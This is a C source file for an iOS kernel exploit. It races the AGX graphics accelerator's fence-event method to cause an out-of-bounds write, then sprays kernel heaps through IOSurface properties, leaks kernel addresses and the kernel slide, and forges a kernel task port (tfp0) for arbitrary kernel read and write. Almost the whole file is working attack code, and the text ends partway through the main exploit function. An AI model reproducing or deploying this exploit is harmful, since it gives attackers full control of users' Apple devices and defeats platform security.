#include "utils.h"
#include "port.h"
#include "exploit.h"
#include "offsets.h"
#include "kern_rw.h"


uint32_t ports_zm_cnt = 0x300, ports_km_cnt = 0x100;
mach_port_t * ports_for_zm = NULL;
mach_port_t * ports_for_km = NULL;
mach_port_t port_r = MACH_PORT_NULL;
uint32_t port_refcnt = 0;


uint8_t *km_buf = NULL;
uint32_t page_count = 8;

io_connect_t iosurface = MACH_PORT_NULL;
uint32_t surface_id = 0;

uint32_t write_off = 0;
uint32_t gKey = 0;
uint32_t old_wr_val = 0;

uint8_t *gOutput = NULL;
size_t gOutputSize = 0;
uint32_t array_count = 0;

// target mach port  related stuff
uint64_t mp_kaddr = 0;
uint64_t ipc_kmsg_addr = 0;
uint64_t ikm_header = 0;
uint64_t task_struct = 0;
uint64_t task_space = 0;
uint64_t task_space_table = 0;
// global spray stuff, mainly used in ipc_kmsg spray
uint8_t * spray_buf = NULL;
uint32_t spray_size = 0;
mach_port_t target_mp = MACH_PORT_NULL;

uint32_t leak_32(uint64_t kaddr_ptr, uint32_t km_val,uint32_t val);
uint32_t * leak_multiple(uint64_t *addrs,uint32_t count);

bool safe_oob = false;
io_connect_t safe_uc = MACH_PORT_NULL;
uint32_t safe_index = 0,accel_index = 0x100;
char *fake_event = NULL;
volatile int th_start = 0;

uint64_t kslide = 0;
uint32_t iii = 1;
uint64_t kaddr_ref = 0;

io_connect_t agxsh = IO_OBJECT_NULL;
#define TOTAL_CLIENTS  0x100
io_connect_t clients[TOTAL_CLIENTS] = {IO_OBJECT_NULL};
uint32_t client_count = 0;
//uint32_t accel_index = 0x100;

#define SELF_INDEX 1
static inline void map_memory(io_connect_t c,u32 type, void *addr,size_t *size)
{
        kern_return_t kr = IOConnectMapMemory(c, type, mach_task_self(),
                                              (mach_vm_address_t *)addr, size, 1);
        CHECK_MACH_ERR(kr, "map_memory");
        assert(kr == KERN_SUCCESS);
}

static uint32_t s_finish_fence_event(io_connect_t c,uint64_t scalar0)
{
        kern_return_t kr = IOConnectCallMethod(c, 5, (void*)&scalar0,1,
                                               NULL, 0,
                                               NULL, NULL,
                                               NULL, NULL);
        return kr;
}

void *thread_map_memory(void *arg)
{
        io_connect_t c = *(io_connect_t *) arg;
        while(!th_start){}
        mach_vm_address_t addr = 0;
        mach_vm_size_t size = 0x0;
        map_memory(c,2,&addr,&size);

        return NULL;
}

void *thread_finish_fence_event(void *arg)
{
        io_connect_t c = *(io_connect_t *) arg;
        while(!th_start){}
        // 0x100 is the first oob access index
        s_finish_fence_event(c, accel_index);

        return NULL;
}


static inline uint64_t leak_64(uint64_t kaddr,bool parial)
{
        uint32_t lo = leak_32(kaddr, 0xcccccccc,(uint32_t)kaddr);
        uint32_t hi = 0xffffffe0;
        if (parial == false)
                hi = leak_32(kaddr + 4, 0xcccccccc,0);
        uint64_t ret = ((uint64_t)hi << 0x20) |lo ;
        return ret;
}

void trigger_bug(void)
{
        if(safe_oob == true) {
                //printf("safe oob here \n");
                memcpy(fake_event,fake_accelEvent,0x40);
                s_finish_fence_event(safe_uc, safe_index);
                return;
        }

        mach_port_t ts = mach_task_self();
        for(int i=0; i < iter;i++) {
                io_connect_t c = iokit_get_connection("IOGraphicsAccelerator2", 0);
                //io_connect_t agxsh = iokit_get_connection("IOGraphicsAccelerator2", 2);
                //io_connect_t c = clients[0];//pop_userclient();
                IOConnectAddClient(c,agxsh);

                mach_vm_address_t addr = 0;
                mach_vm_size_t size = 0x0;

                mach_vm_address_t addr3 = 0;
                mach_vm_size_t size3 = 0x0;
#if 0
                map_memory(c,2,&addr,&size); // read-only memory
                //map_memory(c,0,&addr2,&size2);
                //memset(addr2,0x41,size2);
                map_memory(c,1,&addr3,&size3);
#else
                do {
                        map_memory(c,2,&addr,&size); // read-only memory
                        map_memory(c,1,&addr3,&size3);
                        assert(size3 != 0);
                } while(0);//size3 != 0x4000);

                //accel_index = 0x400; //0x4000 >> 6;
#endif
                memcpy((char*)addr3,fake_accelEvent,0x40);

                pthread_t th = {0};
                pthread_create(&th,NULL,thread_map_memory,(void *)&c);

                int thfc = thread_no;
                pthread_t thfence[thfc];
                for(int i=0;i <thfc; i++)
                        pthread_create(&thfence[i],NULL,thread_finish_fence_event,(void*)&c);

                th_start = 1;
                for(int i=0;i <thfc; i++)
                        pthread_join(thfence[i],NULL);

                pthread_join(th,NULL);

                IOServiceClose(c);
                //IOServiceClose(agxsh);

                _kernelrpc_mach_vm_deallocate_trap(ts, addr, size);
                _kernelrpc_mach_vm_deallocate_trap(ts, addr3, size3);
                th_start = 0;
        }
}


uint64_t get_kernel_mach_port(mach_port_name_t name )
{
        mach_port_t ts = name;
        target_mp = ts;

        uint32_t c = 0x500;
        c = 0x10;
        mach_port_t p[c];
        uint32_t kalloc_size = accel_alloc_size;

        // spray the target kernel zone with mach ports
        for(int i=0;i< c;i++)
                p[i] = do_ool_port_kalloc(0, ts, kalloc_size/8,1);

        for(int i=0;i< c;i++) {
                if((i % 2) == 0)
                        mach_port_destroy(mach_task_self(), p[i]);
        }

        usleep(2000);

//        char *buf = malloc(PAGE_SIZE);
        uint32_t sfcAccelClient = 0x50;
        uint32_t leakSize  =kalloc_size *  sfcAccelClient;
        uint64_t * leaks = calloc(leakSize,sizeof(uint64_t));
        memset((char *)leaks,0,leakSize);


        io_connect_t iosurfaceaccelerator[sfcAccelClient];

        // allocate multiple uninitialized objects
        for(int i=0;i < sfcAccelClient;i++) {
                iosurfaceaccelerator[i] = iokit_get_connection("AppleM2ScalerCSCDriver", 0);
        }

        for(int i=0;i < (sfcAccelClient-1);i++) {
                char *leak = (char *)get_histogram(iosurfaceaccelerator[i]);
                uint64_t * as = (uint64_t *)leak;
                uint64_t tmpaddr = as[3];
                if ((tmpaddr & 0xffffffe000000000) != 0xffffffe000000000)
                        continue;

                bool valid_port = true;
                for(int c=4; c < (accel_alloc_size/8) - 4;c++) {
                        if(tmpaddr != as[c]) {
                                valid_port = false;
                                break;
                        }
                }
                if (valid_port == true) {
                        free(leak);
                        mp_kaddr = tmpaddr;
                        break;
                }


                free(leak);
        }

        if(mp_kaddr == 0) {
                printf("[-] It looks like 0x%llx not a mach port,try again \n",mp_kaddr);
                exit(0);
        }
        printf("[+] Leaked self task port kaddr 0x%llx\n",mp_kaddr);
        // close userclients
        for(int i=0;i < sfcAccelClient;i++)
                IOServiceClose(iosurfaceaccelerator[i]);

        return mp_kaddr;
}

void * get_histogram(io_connect_t c)
{
        kern_return_t kr = KERN_SUCCESS;
        u32 size = accel_alloc_size;
        char *buf = malloc(size);
        memset(buf,0,size);

        kr = IOConnectCallMethod(c, 9, 0,0,
                                 (void*)&buf, 8,
                                 NULL, NULL,
                                 NULL, NULL);

        CHECK_MACH_ERR(kr, "get_histogram()");
        return buf;
}


void read_iosurface_buffer(void)
{

        memset(gOutput,0,gOutputSize);
        size_t out_size = gOutputSize;
        iosurface_get_property(iosurface, surface_id, gKey, gOutput, &out_size);
        //hexdump(gOutput,out_size);
#if defined(DEBUG_SURFACE)
        printf("[*] Reading iosurface object with key 0x%x \n",gKey);

        printf("Data written 0x%x \n",*(uint32_t *)(gOutput + write_off));
#endif
}



uint32_t kalloc_data_size = 0;
uint8_t *kalloc_data = NULL;
uint32_t km_count = 0;
mach_port_t km_surface = MACH_PORT_NULL;

uint32_t zone_data_size = 0;
uint8_t *zone_data = NULL;
uint32_t zm_count = 0;
io_connect_t zm_surface = MACH_PORT_NULL;
uint32_t zm_surface_id = 0;
uint32_t leak_inited = false;
io_connect_t * iosurfaces = NULL, *iosurface_ids = NULL, *iosurface_ports = NULL;
io_connect_t iosurface_loc = IO_OBJECT_NULL;
uint64_t AGXEventMachine = 0;

void create_iosurfaces(uint32_t count)
{
        iosurface_ids = calloc(count,sizeof(io_connect_t));
        for(uint32_t i=0; i < count; i++) {
                iosurface_loc = create_surface(iosurface_loc, &iosurface_ids[i], NULL);
                //printf("iosurface 0x%x id= 0x%x\n",iosurface_loc,iosurface_ids[i]);
        }

}

uint64_t get_kaddr_ref(uint64_t kaddr)
{
        mach_port_t tport  = allocate_port();
        uint32_t ipc_entry = (tport >> 8) * 0x18;
        uint64_t ipc_port = leak_64(task_space_table + ipc_entry, true);
        uint64_t ipc_port_context = ipc_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT);

        kern_return_t kr = mach_port_set_context(mach_task_self(), tport, kaddr);
        CHECK_MACH_ERR(kr, "mach_port_set_context()");

        return ipc_port_context;

}
void get_reliable_rw(void)
{
        printf("[+] Looking for suitable userclient ");
        io_connect_t c[0x1000] = {0};
        int cnt =0;
        io_connect_t agxsh = iokit_get_connection("IOGraphicsAccelerator2", 2);
        uint32_t sz_index = 0;
        uint64_t AGXGLContext =0;
        uint32_t mp_count = 120;//250;
        mach_port_t p[mp_count];
        io_connect_t target_uc = IO_OBJECT_NULL;
        // fill the kalloc.6144 where AGXGLContext2 gets allocated, so we can force it
        //   to grab a new page for new AGXGLcontext2 allocations
        for(int i=0; i < (mp_count);i++) // needs more testing
                p[i] = do_ool_port_kalloc(MACH_PORT_NULL, mach_task_self(), 0x1900/8, 1);

        io_connect_t cc[8] = {0};
        do {
                printf(".");
                memset(cc,0,sizeof(cc));
                uint64_t kaddrs[8] = {0};
                for(int i=0;i < 8;i++) {
                        cc[i] = iokit_get_connection("IOGraphicsAccelerator2", 0);
                        //ies[i] = (cc[i] >> 8) *  0x18;
                        kaddrs[i] = task_space_table + (cc[i] >> 8) *  0x18;
                        //printf("[*] Address we want to leak 0x%llx \n",kaddrs[i]);
                }
                // leak iokit connection ports from our task space
                uint32_t *pp = leak_multiple(kaddrs,8);

                for(int i=0;i<8;i++) {
                        kaddrs[i] = ((uint64_t) 0xffffffe0  << 0x20) | pp[i] ;
                        //printf("Leaked kaddr %d 0x%x \n",i,pp[i]);
                        //printf("Leaked kaddr %d 0x%llx \n",i,kaddrs[i]);
                        // calculate the address we want to read (ipc_kobject)
                        kaddrs[i] = kaddrs[i] + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT);
                }
                free(pp);

                // Leak the UserClient object for each iokit port
                pp = leak_multiple(kaddrs,8);
                for(int i=0;i<8;i++)
                        ;//printf("Leaked AGXGLContext UC %d 0x%llx \n",i,((uint64_t) 0xffffffe0  << 0x20) | pp[i] + 0x6d8);

                for(int i=0;i<8;i++) {
                        kaddrs[i] = ((uint64_t) 0xffffffe0  << 0x20) | pp[i] ;
                        //printf("Leaked kaddr %d 0x%x \n",i,pp[i]);
                        //printf("Leaked AGXGLContext %d 0x%llx \n",i,kaddrs[i]);
                        int mod = (kaddrs[i] + koffset(IOUSERCLIENT_AGXGLCONTEXT_SHM_SIZE) - AGXEventMachine - 0xf0) % 0x18;
                        if (mod == 0) {
                                sz_index =  (kaddrs[i] + koffset(IOUSERCLIENT_AGXGLCONTEXT_SHM_SIZE) - AGXEventMachine - 0xf0) / 0x18;
                                if(sz_index > bar) {

                                        AGXGLContext = kaddrs[i];
                                        target_uc = cc[i];
                                        //printf("Found a good one 0x%llx  \n",AGXGLContext);
                                        printf(" OK\n");
                                        break;
                                }
                        }
                }
                free(pp);
                if(cnt == 0x1000)
                        assert(1 == 0);

                for(int i=0;i<8;i++) {
                        c[cnt++] = cc[i];
                }
                if (AGXGLContext != 0)
                        break;
        }while(1);
        assert(target_uc != 0);
        uint64_t shm_addrs[8];
        for(int i=0; i < 8;i++) {
                target_uc = cc[i];
                IOConnectAddClient(target_uc,agxsh);
                mach_vm_address_t addr_1 = 0, addr_2;
                mach_vm_size_t size_1 = 0x0 , size_2 = 0;
                do {
                        map_memory(target_uc,2,&addr_2,&size_2); // read-only memory
                        map_memory(target_uc,1,&addr_1,&size_1);
                        assert(size_1 != 0);
                        //if(i++ == 0x20)
                        //      break;

                } while(size_1 != 0x8000);
                shm_addrs[i] = addr_1;
        }

        //printf("[*] index to write is 0x%x \n",sz_index);
        //printf("[*] target write is 0x%llx \n",target_write);

        // overwrite the shared memory size with greater value
#if 1

        // kalloc mgr
        assert(kalloc_data != NULL);
        iosurface_remove_property(iosurface, surface_id, gKey);
        iii = 0;

        for(int i=0; i < (kalloc_data_size/4); i++)
                *(uint32_t *)((uint32_t *)kalloc_data + i) = 0xcccccccc;

        build_surface_payload_with_string(array_count, kalloc_data, kalloc_data_size, gKey);
        iosurface_set_value(iosurface, surface_id);
#endif
        iosurface_remove_value(zm_surface, NULL, zm_surface_id);

        for(int i=0; i < (zone_data_size/8); i++)
                *(uint64_t *)((uint64_t *)zone_data + i) = mp_kaddr;// mach_port io_bits

        uint32_t key = 0x42424242;
        for(int i=0; i < zm_count; i++) {
                build_surface_payload(0x110 * 59, zone_data, zone_data_size, key++);
                iosurface_set_value(zm_surface, zm_surface_id);
        }

        printf("[+] Overwriting shmem size to have safe OOB ");
        uint32_t old = iter;
        iter = 0x100;
        safe_index = 0x20000 >> 6;
        target_uc = 0;
        uint64_t target_shm = 0;
        while (true) {
                printf(".");
                uint64_t value = ((uint64_t) 0x70404040 << 0x20) | sz_index ;
                *(uint64_t *) ((uint64_t*) fake_accelEvent ) = value;
                *(uint64_t *) ((uint64_t*) fake_accelEvent + 1) =  0xffffffff;
                trigger_bug();
                // re-init accelEvent array, what's the value of this->shm_size_1_2
                for(int i=0; i < 8;i++)
                        *(uint64_t *) ((uint64_t*) fake_accelEvent + i) =  0xffffffff;
                for(int i=0; i < 8; i++) {
                        int err = s_finish_fence_event(cc[i], safe_index);
                        if (err == 0xe00002c2)
                                continue;
                        target_uc = cc[i];
                        target_shm = shm_addrs[i];
                        break;
                }
                if(target_uc != 0)
                        break;
        }
        iter = old;
        //printf("Found client port 0x%x \n",target_uc);
        safe_oob = true;
        safe_uc = target_uc;
        fake_event = (char*)target_shm;
        printf(" OK\n");

        // close all userclients
        for(int i=0;i < cnt;i++) {
                if(c[i] == target_uc)
                        continue;
                IOServiceClose(c[i]);
        }
        for(int i=0; i < (mp_count);i++) // needs more testing
                mach_port_destroy(mach_task_self(),p[i]);


}

uint64_t get_kernel_map(uint64_t task_struct)
{
        // I made a mistake somewhere,so I made a workaround
        // to prevent kernel_map lookup from hanging
        uint64_t itk_host = leak_64(task_struct + koffset(KSTRUCT_OFFSET_TASK_ITK_HOST),true);
        uint64_t rhost = leak_64(itk_host + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT),false);

        kslide = rhost - realhost_text;
        printf("[+] kslide 0x%llx \n",kslide);
        kernel_map_text += kslide;
        kernel_task_text += kslide;
        printf("[+] kernel_map_text 0x%llx \n",kernel_map_text);
#define KM_DEBUG
#ifdef KM_DEBUG
        //printf("KM_DEBUG enabled\n");
        uint32_t tmp = leak_32(kernel_map_text + 4 , 0xcccccccc,0);
        uint32_t tmp3 = leak_32(kernel_map_text +1 , 0xcccccccc,0);
        uint32_t tmp2 = leak_32(kernel_map_text , 0xcccccccc,tmp3 << 8);
        kernel_map = ((uint64_t)tmp << 0x20) | tmp2;
#else
        //printf("kernel_map check()\n");
        kernel_map = leak_64(kernel_map_text,false);

#endif // KM_DEBUG

        return kernel_map;
}


void get_target_iosurface(uint64_t kernel_map)
{
        printf("[+] Looking for suitable IOSurface offset to write into ");

        io_connect_t c[0x1000] = {0};
        int cnt =0;
        uint32_t mp_count = 300;//250;
        mach_port_t p[mp_count];
        uint64_t IOSurface = 0;
        uint64_t saved_timestamp = 0;
        // will be pointing into &corpse->map
        uint32_t sz_index = 0;

        for(int i=0; i < (mp_count);i++) // needs more testing
                ;// p[i] = do_ool_port_kalloc(MACH_PORT_NULL, mach_task_self(), 0x3d8/8, 1);

        io_connect_t cc[200] = {0};
        uint32_t sids[200] = {0};
        io_connect_t tmp = MACH_PORT_NULL;
        uint64_t kaddrs[200] = {0};
        memset(cc,0,sizeof(cc));

        memset(sids,0,sizeof(cc));


        for(int i=0;i < 200;i++) {
                tmp = create_surface(tmp, &sids[i], NULL);
                //printf("surface id = %x \n",sid);
                iosurface_create_port(tmp, sids[i], &cc[i]);
                kaddrs[i] = task_space_table + (cc[i] >> 8) *  0x18;
                //printf("[*] Address we want to leak 0x%llx \n",kaddrs[i]);
        }
        cnt = 200-1;
        do {
                printf(".");
                assert(cnt != 0);
                //printf("LOL \n");
                uint64_t tmp = kaddrs[cnt--]; // ssr port
                tmp = leak_64(tmp, true);
                //printf("IOSurfaceSendRight ports 0x%llx \n",tmp);
                tmp = tmp + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT);
                tmp = leak_64(tmp, true); // leak surfacesendright
                //printf("IOSurfaceSendRight UserClient object 0x%llx \n",tmp);
                tmp = tmp + 0x18; // leak iosurface
                tmp = leak_64(tmp, true);
                //printf("IOSurface object 0x%llx \n",tmp);

                int mod = (tmp  + koffset(IOSURFACE_INDEXEDTIMESTAMP) - AGXEventMachine - 0xf0) % 0x18;
                if (mod == 0) {
                        sz_index = (tmp  + koffset(IOSURFACE_INDEXEDTIMESTAMP) - AGXEventMachine - 0xf0) / 0x18;
                        //printf("Found a potential IOSurface 0x%llx \n",tmp);
                        if(sz_index > bar) {// Make this dymamic
                                //printf("Found a potential IOSurface \n ");
                                IOSurface = tmp;
                                printf(" OK\n");
                                //break;
                        }

                }

                if(IOSurface) {
                        //printf("IOSurface object 0x%llx \n",IOSurface);
                        break;
                }
                //free(pp);

                if(cnt == 0)
                        assert(1 == 0);

        }while(true);

        for(int i=0; i < (mp_count);i++) // needs more testing
                ;//mach_port_destroy(mach_task_self(), p[i]);
        //;;p[i] = do_ool_port_kalloc(MACH_PORT_NULL, mach_task_self(), 0x3d8/8, 1);
        usleep(5000);

        // kalloc mgr
        assert(kalloc_data != NULL);
        iosurface_remove_property(iosurface, surface_id, gKey);
        iii = 0;
        for(int i=0; i < (kalloc_data_size/4); i++)
                *(uint32_t *)((uint32_t *)kalloc_data + i) = 0xcccccccc;

        build_surface_payload_with_string(array_count, kalloc_data, kalloc_data_size, gKey);
        iosurface_set_value(iosurface, surface_id);

        iosurface_remove_value(zm_surface, NULL, zm_surface_id);
        for(int i=0; i < (zone_data_size/8); i++)
                *(uint64_t *)((uint64_t *)zone_data + i) = kaddr_ref;

        uint32_t key = 0x42424242;
        for(int i=0; i < zm_count; i++) {
                build_surface_payload(0x110 * 59, zone_data, zone_data_size, key++);
                iosurface_set_value(zm_surface, zm_surface_id);
        }
#if 0
        printf("[*] index to write is 0x%x \n",sz_index);
        printf("[*] target write is 0x%llx \n",IOSurface + 0x360);
#endif

        // write &corpse->map into IOSurface->timestamp buffer
        uint64_t value = ((uint64_t) 0xaccccccc << 0x20) | sz_index ;
        *(uint64_t *) ((uint64_t*) fake_accelEvent ) = value;
        for(int i=1; i<8; i++)
                *(uint64_t *) ((uint64_t*) fake_accelEvent + i) =  0xffffffff;
        trigger_bug();
        // We should see IOSurface->timestamp pointing into &corpse->map

        // now corpse->map = kernel_map, thus we mimic kernel task port
        for(int j=0;j<200;j++)
                set_indexed_timestamp(tmp, sids[j], 0, kernel_map);
        // todo : cleanup IOSurface allocations


}



uint32_t * leak_multiple(uint64_t *kaddrs,uint32_t count)
{
        assert(kalloc_data != NULL);
        assert(count == 8);
        int32_t km_val = 0xcccccccc;

        iosurface_remove_property(iosurface, surface_id, gKey);
        usleep(10000);

        for(int i=0; i < (kalloc_data_size/4); i++)
                *(uint32_t *)((uint32_t *)kalloc_data + i) = km_val;

        build_surface_payload_with_string(array_count, kalloc_data, kalloc_data_size, gKey);
        iosurface_set_value(iosurface, surface_id);
        iii = 0;

        iosurface_remove_value(zm_surface, NULL, zm_surface_id);

        for(int i=0; i < (zone_data_size/8); i+=8) {
                for(int j=0;j < count; j++)
                        *(uint64_t *)((uint64_t *)zone_data + i + j) = kaddrs[j];
        }
        uint32_t key = 0x42424242;
        zm_count =  zone_map_size/(zone_data_size  * 0x100 * 59) ;

        for(int i=0; i < zm_count; i++) {
                build_surface_payload(0x100 * 59, zone_data, zone_data_size, key++);
                iosurface_set_value(zm_surface, zm_surface_id);
        }
        int32_t km = km_val;
        for(int i=0;i < 8;i++) {
                int32_t zm = (int32_t)kaddrs[i];
                uint32_t val32_hi = (km < zm) ? (km + 1) : (0x80000000 + km - 1);
                uint64_t value = ((uint64_t)val32_hi << 0x20) | (test_oob + i + iii);
                *(uint64_t *) ((uint64_t*) fake_accelEvent + i) = value;
        }

        iter = 10;
        uint32_t new = 0,cn = 0;
        do {
                trigger_bug();
                read_iosurface_buffer();
                new = *(uint32_t *)(gOutput + write_off +  (iii * 0x18));
                if (cn++ == 0x5000) {
                        printf("[+] bug reached 0x%x iterations\n",cn);
                        sleep(0.5);
                        cn = 0;
                }
        } while(new == km_val);
        // we've successfully read the content, now extract the leaked address
        // stating from gOutput and jump by 0x18
        uint32_t *ret = malloc(8 * sizeof(uint32_t));
        memset(ret,0,8 * sizeof(uint32_t));

        for(int i=0;i < 8;i++) {
                uint32_t val =  *(uint32_t *)(gOutput + write_off + (0x18 * i));
                ret[i] = val;
        }

        //cleanup accelEvent array for later usage
        for(int i=0;i < 8; i++ )
                *(uint64_t *) ((uint64_t*) fake_accelEvent + i) = 0xffffffff;
        return ret;
}



uint32_t leak_32(uint64_t kaddr_ptr, uint32_t km_val,uint32_t val)
{

#ifndef SELF_INDEX
        // kalloc mgr
        assert(kalloc_data != NULL);
        iosurface_remove_property(iosurface, surface_id, gKey);

        //usleep(10000);
        for(int i=0; i < (kalloc_data_size/4); i++)
                *(uint32_t *)((uint32_t *)kalloc_data + i) = km_val;

        build_surface_payload_with_string(array_count, kalloc_data, kalloc_data_size, gKey);
        iosurface_set_value(iosurface, surface_id);
        iii =0;
#else
        iii++;
#endif
       // zone mgr
        assert(zone_data != NULL);

        iosurface_remove_value(zm_surface, NULL, zm_surface_id);
        for(int i=0; i < (zone_data_size/8); i++)
                *(uint64_t *)((uint64_t *)zone_data + i) = kaddr_ptr;

        uint32_t key = 0x42424242;
        zm_count =  zone_map_size/(zone_data_size  * 0x100 * 59) ;

        for(int i=0; i < zm_count; i++) {
                build_surface_payload(0x100 * 59, zone_data, zone_data_size, key++);
                iosurface_set_value(zm_surface, zm_surface_id);
        }

        uint32_t new = 0;
        int b = 0;

        int32_t km = (int32_t)km_val;
        int32_t zm = (int32_t)val;//(int32_t)kaddr_ptr & 0xffffffff;

        uint32_t val32_hi = (km < zm) ? (km + 1) : (0x80000000 + km - 1);
        //printf("val32_hi VAL 0x%x \n",val32_hi);
        uint64_t value = ((uint64_t)val32_hi << 0x20) | test_oob + iii ;
        *(uint64_t *) ((uint64_t*) fake_accelEvent + b++) = value;
        for(int i=b;i < 8; i++ )
                *(uint64_t *) ((uint64_t*) fake_accelEvent + i) = 0xffffffff;

        iter = 10;//0;
        int cn  = 0;

        do {
                trigger_bug();
                read_iosurface_buffer();
                new = *(uint32_t *)(gOutput + write_off + (iii * 0x18));
                if (cn++ == 0x1000) {
                        printf("[+] bug reached 0x%x iterations without success\n",cn);
                        sleep(0.5);
                        //cn = 0;
                        abort();

                }
        } while(new == km_val);

        if(new == km_val) {
                printf("[-] race condition failed, retry again \n");
                exit(-1);
        }

        return new;
}

void prepare_pre_exploit(void)
{
        prepare_device_memory();

        init_offsets();
        create_iosurfaces(20);
        agxsh = iokit_get_connection("IOGraphicsAccelerator2", 2);

}

void exploit()
{
        prepare_pre_exploit();
        assert(accel_alloc_size != 0);

        mach_port_t corpse = MACH_PORT_NULL;
        kern_return_t kr = task_generate_corpse(mach_task_self(), &corpse);
        CHECK_MACH_ERR(kr, "corpse");

        io_connect_t ioaccel = iokit_get_connection("IOGraphicsAccelerator2", 0);

        target_mp = mach_task_self();
        get_kernel_mach_port(target_mp);
        /* 2. setup IOSurface memory spray */
        /* -> 2.1 spray kalloc_map with OSString objects */

        allocate_properties_buf();
        array_count = 20;//10;
        kalloc_data_size = 8 * PAGE_SIZE;
        kalloc_data = malloc(kalloc_data_size);
        uint32_t count = (kalloc_map_size / (kalloc_data_size * array_count));
        km_count = count;

        zone_data_size =  0x2000;
        zone_data = malloc(zone_data_size);

        uint32_t km_keys[count];

        // we want to check where the write happened
        memset(kalloc_data,0xcc,kalloc_data_size);
        iosurface = create_surface(MACH_PORT_NULL, &surface_id, NULL);
        gKey = 0x41424344;

        for(int i=0;i < count; i++) {
                km_keys[i] = gKey++;
                build_surface_payload_with_string(array_count, kalloc_data, kalloc_data_size,
                                                  km_keys[i]);
                iosurface_set_value(iosurface, surface_id);
        }

        //-> 2.2 spray zone_map with OSData objects containing the address location of self task structure
        for(int i=0; i < (zone_data_size/8); i++)
                *(uint64_t *)((uint64_t *)zone_data + i) = mp_kaddr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT);

        uint32_t zone_sfc_id = 0;
        io_connect_t zone_sfc = create_surface(MACH_PORT_NULL, &zone_sfc_id, NULL);
        zm_surface = zone_sfc;
        zm_surface_id = zone_sfc_id;

        uint32_t key = 0x42424242;
        loop = zone_map_size/(zone_data_size  * 0x100 * 59) ;
        zm_count = loop;
        for(int i=0; i < loop; i++) {
                build_surface_payload(0x100 * 59, zone_data, zone_data_size, key++);
                iosurface_set_value(zone_sfc, zone_sfc_id);
        }

        int b = 0;
        test_oob = oob_indexes[0];
        uint32_t val_hi = 1;
        uint64_t value = ((uint64_t)val_hi << 0x20) | test_oob;
        *(uint64_t *) ((uint64_t*) fake_accelEvent + b++) = value;
        *(uint64_t *) ((uint64_t*) fake_accelEvent + b++) = 0xffffffff;

        //3. trigger the bug
        size_t out_size = (array_count) * kalloc_data_size + 0x1000;
        char * output = calloc(out_size,1);
        gOutput = output;
        gOutputSize = out_size;

        bool found = false;

repeat:
        trigger_bug();

        value = ((uint64_t)val_hi << 0x20) | test_oob;
        *(uint64_t *) ((uint64_t*) fake_accelEvent) = value;
        // parse the property, this is only needed for the first time
        uint32_t lo = 0;
        for(int i=0; i < count; i++) {
                iosurface_get_property(iosurface, surface_id, km_keys[i], output, &out_size);

                uint32_t *ptr = (uint32_t *)&output[0x10];

                for(int j=0; j < (array_count);j++) {
                        uint32_t sz = (*ptr & ~kOSSerializeString) + 1;
                        if (sz & kOSSerializeEndCollection)
                                sz &= ~kOSSerializeEndCollection;
                        ptr++;
                        for(int c=0; c < (sz/4) - 1 ; c++) {
                                if(ptr[c] != 0xcccccccc) {
                                        lo = ptr[c];
                                        gKey = km_keys[i]; // we will release this key only
                                        found = true;
                                        write_off = (char *)&ptr[c] - output;
                                        old_wr_val = ptr[c];
                                        printf("[+] Found Corruption with key 0x%x offset=0x%x\n",
                                               km_keys[i],write_off);
                                }
                        }
                        ptr += sz/4 ;

                }

        }
        if (found == false) {
                goto repeat;
        }

        /* now leak kernel addresses of : */
        /* port->ip_object->itk_space->is_table */
        /* is_table will be used for direct ipc_port lookup */


        task_struct = ((uint64_t)0xffffffe0 << 0x20) |lo ;
        printf("[+] self task struct 0x%llx \n",task_struct);
        task_space = leak_64(task_struct + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE),true);
        printf("[+] self task ipc space 0x%llx \n",task_space);

        task_space_table = leak_64(task_space +        \
                                    koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE),true);
        printf("[+] self ipc space table 0x%llx \n",task_space_table);

        uint32_t ipc_entry = (ioaccel >> 8) * 0x18;
        uint64_t userclient = leak_64(task_space_table + ipc_entry, true);
        printf("[+] Found AGXGLContext UserClient port 0x%llx \n",userclient);

        uint64_t AGXGLContext = leak_64(userclient + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), true);
        printf("[+] AGXGLContext object 0x%llx \n",AGXGLContext);

        uint64_t provider = leak_64(AGXGLContext + koffset(IOUSERCLIENT_AGXGLCONTEXT_PROVIDER),
                                             true);
        printf("[+] IOGraphicsAccelerator object 0x%llx \n",provider);
        AGXEventMachine = leak_64(provider + 0x378,true);
        printf("[+] AGXEventMachine object 0x%llx \n",AGXEventMachine);


#if 0
        uint64_t f_0x28 = leak_64(AGXEventMachine + 0x28,true);
        printf("agxem->f_0x28 0x%llx \n",f_0x28);
        uint64_t offset_km = AGXEventMachine + (test_oob * 0x18) + 0xf0;
        uint64_t offset_zm = f_0x28 + (test_oob * 0x8);

        printf("offset to zone_map = 0x%llx, offset to kalloc_map = 0x%llx\n",offset_zm,offset_km);
        printf("kernel_map thing \n");
        kernel_map = get_kernel_map(task_struct);
        printf("Done \n");
        return;

#endif
        get_reliable_rw();
        // zone_require workaround
        ipc_entry = (corpse >> 8) * 0x18;
        uint64_t corpse_task_port = leak_64(task_space_table + ipc_entry, true);
        uint64_t corpse_task = leak_64(corpse_task_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), true);
        printf("[+] Corpse task port 0x%llx \n",corpse_task_port);
        uint64_t tw = corpse_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP);
        printf("[+] Corpse task map location 0x%llx \n",tw);

        //kernel_map = 0x4141414142424242;
        kernel_map = get_kernel_map(task_struct);
        printf("[+] kernel map  0x%llx \n",kernel_map);
        uint64_t cmap = corpse_task + koffset(KSTRUCT_OFFSET_TASK_VM_MAP);
        kaddr_ref = get_kaddr_ref(cmap);
        printf("[+] kaddr ref  0x%llx \n",kaddr_ref);

        get_target_iosurface(kernel_map);

        // tfp0
        tfp0 = corpse;

        uint64_t ab =kmem_alloc(8);
        printf("[+] kmem_alloc'd address from userspace 0x%llx \n",ab);
        uint64_t write_valb = 0xdeadbeef12345678;
        write64(ab,write_valb);
        uint64_t test = read64(ab);
        assert(test == write_valb);

        printf("[+] We got kernel task port  0x%x\n",tfp0);
        kernel_base += kslide;
        uint32_t outb = read32(kernel_base);
        if(outb == -1) {
                printf("[-] Exploit failed, try again \n");
                exit(0);
        }
        printf("[+] kernel_base read  0x%x \n",outb);

